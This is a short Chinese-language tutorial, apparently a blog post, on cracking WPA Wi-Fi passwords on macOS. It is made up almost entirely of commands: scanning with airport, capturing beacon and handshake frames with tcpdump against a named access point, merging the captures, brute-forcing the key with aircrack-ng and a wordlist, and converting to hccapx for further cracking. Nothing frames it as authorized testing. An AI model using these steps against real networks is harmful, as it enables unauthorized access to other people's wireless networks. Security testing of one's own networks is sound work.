1.安装airport
| 1 | $ sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/sbin/airport | 
2.扫描周围的Wifi
| 1 | $ sudo airport -s | 
3.嗅探指定的信道
| 1 | $ sudo airport en0 sniff $CHANNEL | 
如果出现错误,Segmentation fault: 11,可以使用 tcpdump 抓包
4.1 断开airport的连接
| 1 | $ sudo airport -z | 
4.2 设置信道,-c和信道号之间没有空格
| 1 | # 示例:sudo airport -c6 | 
4.3 从指定AP开始抓包
| 1 | # 示例:sudo tcpdump "type mgt subtype beacon and ether src 98:13:33:b4:35:a4" -I -c 1 -i en0 -w beacon.cap | 
4.4 等待WPA的握手
| 1 | # 示例:sudo tcpdump "ether proto 0x888e and ether host 98:13:33:b4:35:a4" -I -U -vvv -i en0 -w handshake.cap | 
4.5 安装wireshark,下一步会用到它的合包命令
| 1 | $ brew install wireshark | 
4.6 将2个cap文件合并成一个cap文件
| 1 | $ mergecap -a -F pcap -w capture.cap beacon.cap handshake.cap | 
至少要等到4.4获取到4 frames或更多的包才可以Ctrl-C终止抓包。
4.7 安装 aircrack-ng
| 1 | $ brew install aircrack-ng | 
4.8 将 aircrack-ng 路径添加到 /etc/paths 中。
| 1 | $ sudo vim /etc/paths | 
然后将 aircrack-ng 路径添加到最后一行。
4.9 查看抓到的包中是否包含握手包。
| 1 | #$ aircrack-ng capture.cap | 
- 撞击密码 - 1 - $ aircrack-ng -w alphaDic.txt -b 98:13:33:B4:35:A4 capture1.cap 
- 转换包格式,如果使用上面的cap无法爆破,或者爆破比较麻烦,可以将cap包转换成hcccapx格式,然后再破解。 - 1 - $ ./cap2hccapx.bin /Users/kris/Desktop/wifi/20200208/capture.cap /Users/kris/Desktop/wifi/20200208/capture.hccapx 
下面是一个破解示例:
| 1 | Aircrack-ng 1.5.2 |